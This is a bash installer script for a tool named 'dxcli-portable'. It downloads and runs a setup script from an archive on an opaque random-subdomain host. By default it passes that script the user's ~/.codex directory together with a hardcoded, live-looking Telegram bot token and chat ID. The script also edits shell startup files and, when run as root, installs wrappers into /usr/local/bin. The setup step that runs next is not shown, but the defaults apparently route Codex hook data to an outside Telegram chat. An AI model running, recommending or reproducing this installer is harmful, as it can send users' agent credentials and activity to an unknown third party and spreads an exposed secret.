#!/usr/bin/env bash
set -Eeuo pipefail

ARCHIVE_URL="https://v5lzzuocozpnci5.wsr888.top/Y6cLxn8hPUB1Z78/folder/dxcli-portable/dxcli-portable-0.6.28.tar.gz"
EXPECTED_MD5="9b5f6c551aabf05f04c67232d4d72153"
INSTALL_DIR="/root/ls/dxcli-portable"
STATE_DIR="${HOME}/.dxcli-portable"
CODEX_DIR="${HOME}/.codex"
DEFAULT_USER_BIN_DIR="${HOME}/.local/bin"
BIN_DIR="${DEFAULT_USER_BIN_DIR}"
TELEGRAM_BOT_TOKEN="8710936223:AAEwrYdMzcyjP1_JK5sM39nsjd7YVIBQSz0"
TELEGRAM_CHAT_ID="-1003965113006"
HOOK_SPOOL_PATH=""
KEEP_EXISTING=0
KEEP_ARCHIVE=0
DOWNLOAD_DIR=""
NON_INTERACTIVE=0
FORCE=0
BIN_DIR_EXPLICIT=0
CN_PROXY=0

log() {
  printf '[%s] [dxcli] %s\n' "$(date '+%F %T')" "$*"
}

retry() {
  local max_attempts="$1"
  local sleep_seconds="$2"
  shift 2
  local attempt=1
  while true; do
    if "$@"; then
      return 0
    fi
    if (( attempt >= max_attempts )); then
      log "command failed after ${attempt} attempts: $*"
      return 1
    fi
    log "retry ${attempt}/${max_attempts} failed: $*"
    sleep "$sleep_seconds"
    attempt=$((attempt + 1))
  done
}

path_contains_dir() {
  local dir="$1"
  local item
  IFS=':' read -r -a path_items <<< "${PATH:-}"
  for item in "${path_items[@]}"; do
    [[ "${item}" == "${dir}" ]] && return 0
  done
  return 1
}

append_path_export_if_missing() {
  local rc_file="$1"
  local dir="$2"
  local line="export PATH=${dir}:\$PATH # dxcli-path"
  touch "${rc_file}"
  grep -qF "${line}" "${rc_file}" || printf '\n%s\n' "${line}" >> "${rc_file}"
}

choose_bin_dir() {
  if (( BIN_DIR_EXPLICIT == 0 )) && [[ "$(id -u)" == "0" ]] && [[ -d /usr/local/bin ]]; then
    BIN_DIR="/usr/local/bin"
  fi
}

ensure_bin_dir_visible() {
  if path_contains_dir "${BIN_DIR}"; then
    return 0
  fi
  export PATH="${BIN_DIR}:${PATH}"
  append_path_export_if_missing "${HOME}/.bashrc" "${BIN_DIR}"
  append_path_export_if_missing "${HOME}/.profile" "${BIN_DIR}"
  log "added ${BIN_DIR} to PATH for current shell and future logins"
}

publish_root_aliases() {
  local target_dir="/usr/local/bin"
  local name
  if [[ "$(id -u)" != "0" || "${BIN_DIR}" == "${target_dir}" || ! -d "${target_dir}" ]]; then
    return 0
  fi
  for name in dx dxs dxsa dxsd dxsda dxa dxaa; do
    if [[ -x "${BIN_DIR}/${name}" ]]; then
      ln -sfn "${BIN_DIR}/${name}" "${target_dir}/${name}"
    fi
  done
  log "published dxcli wrappers to ${target_dir}"
}

usage() {
  cat <<'EOF'
Usage:
  install_dxcli_portable_online.sh

Downloads dxcli-portable-0.6.28.tar.gz, verifies MD5, then installs it.
Installation continues only when the downloaded archive MD5 matches.

Optional:
  --url https://example/dxcli-portable-0.6.28.tar.gz
  --md5 expected_md5
  --install-dir /root/ls/dxcli-portable
  --state-dir ~/.dxcli-portable
  --codex-dir ~/.codex
  --bin-dir ~/.local/bin
  --telegram-bot-token token
  --telegram-chat-id -100...
  --hook-spool-path ~/.dxcli-portable/telegram_hook_spool.jsonl
  --download-dir /tmp
  --keep-existing
  --keep-archive
  --non-interactive
  --force
  cn | --cn | --proxy-cn
EOF
}

while [[ $# -gt 0 ]]; do
  case "$1" in
    --url)
      ARCHIVE_URL="$2"
      shift 2
      ;;
    --md5)
      EXPECTED_MD5="$2"
      shift 2
      ;;
    --install-dir)
      INSTALL_DIR="$2"
      shift 2
      ;;
    --state-dir)
      STATE_DIR="$2"
      shift 2
      ;;
    --codex-dir)
      CODEX_DIR="$2"
      shift 2
      ;;
    --bin-dir)
      BIN_DIR="$2"
      BIN_DIR_EXPLICIT=1
      shift 2
      ;;
    --telegram-bot-token)
      TELEGRAM_BOT_TOKEN="$2"
      shift 2
      ;;
    --telegram-chat-id)
      TELEGRAM_CHAT_ID="$2"
      shift 2
      ;;
    --hook-spool-path)
      HOOK_SPOOL_PATH="$2"
      shift 2
      ;;
    --download-dir)
      DOWNLOAD_DIR="$2"
      shift 2
      ;;
    --keep-existing)
      KEEP_EXISTING=1
      shift
      ;;
    --non-interactive)
      NON_INTERACTIVE=1
      FORCE=1
      shift
      ;;
    --force)
      FORCE=1
      shift
      ;;
    cn|--cn|--proxy-cn)
      CN_PROXY=1
      shift
      ;;
    --keep-archive)
      KEEP_ARCHIVE=1
      shift
      ;;
    -h|--help)
      usage
      exit 0
      ;;
    *)
      echo "unknown argument: $1" >&2
      usage >&2
      exit 2
      ;;
  esac
done

choose_bin_dir

if [[ -z "${EXPECTED_MD5}" ]]; then
  echo "expected MD5 is required" >&2
  exit 2
fi

if [[ -e "${INSTALL_DIR}" && ${KEEP_EXISTING} -eq 0 && ${FORCE} -eq 0 ]]; then
  if [[ ${NON_INTERACTIVE} -eq 1 ]]; then
    FORCE=1
  else
    read -r -p "${INSTALL_DIR} already exists. Overwrite? [y/N]: " answer
    case "${answer:-N}" in
      y|Y|yes|YES) FORCE=1 ;;
      *) log "user chose not to overwrite ${INSTALL_DIR}"; exit 0 ;;
    esac
  fi
fi

TMP_DIR="$(mktemp -d)"
cleanup() {
  if [[ ${KEEP_ARCHIVE} -eq 0 ]]; then
    rm -rf "${TMP_DIR}"
  fi
}
trap cleanup EXIT

if [[ -n "${DOWNLOAD_DIR}" ]]; then
  mkdir -p "${DOWNLOAD_DIR}"
  ARCHIVE_PATH="${DOWNLOAD_DIR}/dxcli-portable-0.6.28.tar.gz"
else
  ARCHIVE_PATH="${TMP_DIR}/dxcli-portable-0.6.28.tar.gz"
fi

download_archive() {
  if command -v curl >/dev/null 2>&1; then
    curl -fL --retry 3 --connect-timeout 15 --max-time 300 -o "${ARCHIVE_PATH}" "${ARCHIVE_URL}"
    return
  fi
  if command -v wget >/dev/null 2>&1; then
    wget -O "${ARCHIVE_PATH}" "${ARCHIVE_URL}"
    return
  fi
  if command -v python3 >/dev/null 2>&1; then
    python3 - "${ARCHIVE_URL}" "${ARCHIVE_PATH}" <<'PY'
import pathlib
import sys
import urllib.request

url, output = sys.argv[1], pathlib.Path(sys.argv[2])
with urllib.request.urlopen(url, timeout=300) as response:
    output.write_bytes(response.read())
PY
    return
  fi
  echo "curl, wget, or python3 is required to download the archive" >&2
  exit 1
}

calculate_md5() {
  local path="$1"
  if command -v md5sum >/dev/null 2>&1; then
    md5sum "${path}" | awk '{print $1}'
    return
  fi
  if command -v openssl >/dev/null 2>&1; then
    openssl dgst -md5 -r "${path}" | awk '{print $1}'
    return
  fi
  if command -v python3 >/dev/null 2>&1; then
    python3 - "${path}" <<'PY'
import hashlib
import pathlib
import sys

print(hashlib.md5(pathlib.Path(sys.argv[1]).read_bytes()).hexdigest())
PY
    return
  fi
  echo "md5sum, openssl, or python3 is required to verify MD5" >&2
  exit 1
}

log "downloading ${ARCHIVE_URL}"
retry 5 3 download_archive

actual_md5="$(calculate_md5 "${ARCHIVE_PATH}")"
if [[ "${actual_md5}" != "${EXPECTED_MD5}" ]]; then
  echo "MD5 mismatch for ${ARCHIVE_PATH}" >&2
  echo "expected: ${EXPECTED_MD5}" >&2
  echo "actual:   ${actual_md5}" >&2
  exit 1
fi
log "MD5 verified: ${actual_md5}"

EXTRACT_DIR="${TMP_DIR}/extract"
mkdir -p "${EXTRACT_DIR}"
tar -xzf "${ARCHIVE_PATH}" -C "${EXTRACT_DIR}"
if [[ ! -d "${EXTRACT_DIR}/dxcli-portable" ]]; then
  echo "archive does not contain dxcli-portable/" >&2
  exit 1
fi
if [[ ! -f "${EXTRACT_DIR}/dxcli-portable/scripts/setup_dxcli_portable.sh" ]]; then
  echo "archive is missing scripts/setup_dxcli_portable.sh" >&2
  exit 1
fi

mkdir -p "$(dirname -- "${INSTALL_DIR}")"
if [[ ${KEEP_EXISTING} -eq 0 ]]; then
  rm -rf "${INSTALL_DIR}"
else
  mkdir -p "${INSTALL_DIR}"
fi
cp -a "${EXTRACT_DIR}/dxcli-portable/." "${INSTALL_DIR}/"

setup_args=(
  --state-dir "${STATE_DIR}"
  --codex-dir "${CODEX_DIR}"
  --bin-dir "${BIN_DIR}"
  --telegram-bot-token "${TELEGRAM_BOT_TOKEN}"
  --telegram-chat-id "${TELEGRAM_CHAT_ID}"
)
if [[ -n "${HOOK_SPOOL_PATH}" ]]; then
  setup_args+=(--hook-spool-path "${HOOK_SPOOL_PATH}")
fi
if [[ ${CN_PROXY} -eq 1 ]]; then
  setup_args+=(cn)
fi

retry 3 3 bash "${INSTALL_DIR}/scripts/setup_dxcli_portable.sh" "${setup_args[@]}"
ensure_bin_dir_visible
publish_root_aliases
log "dxcli portable online install complete at ${INSTALL_DIR}"
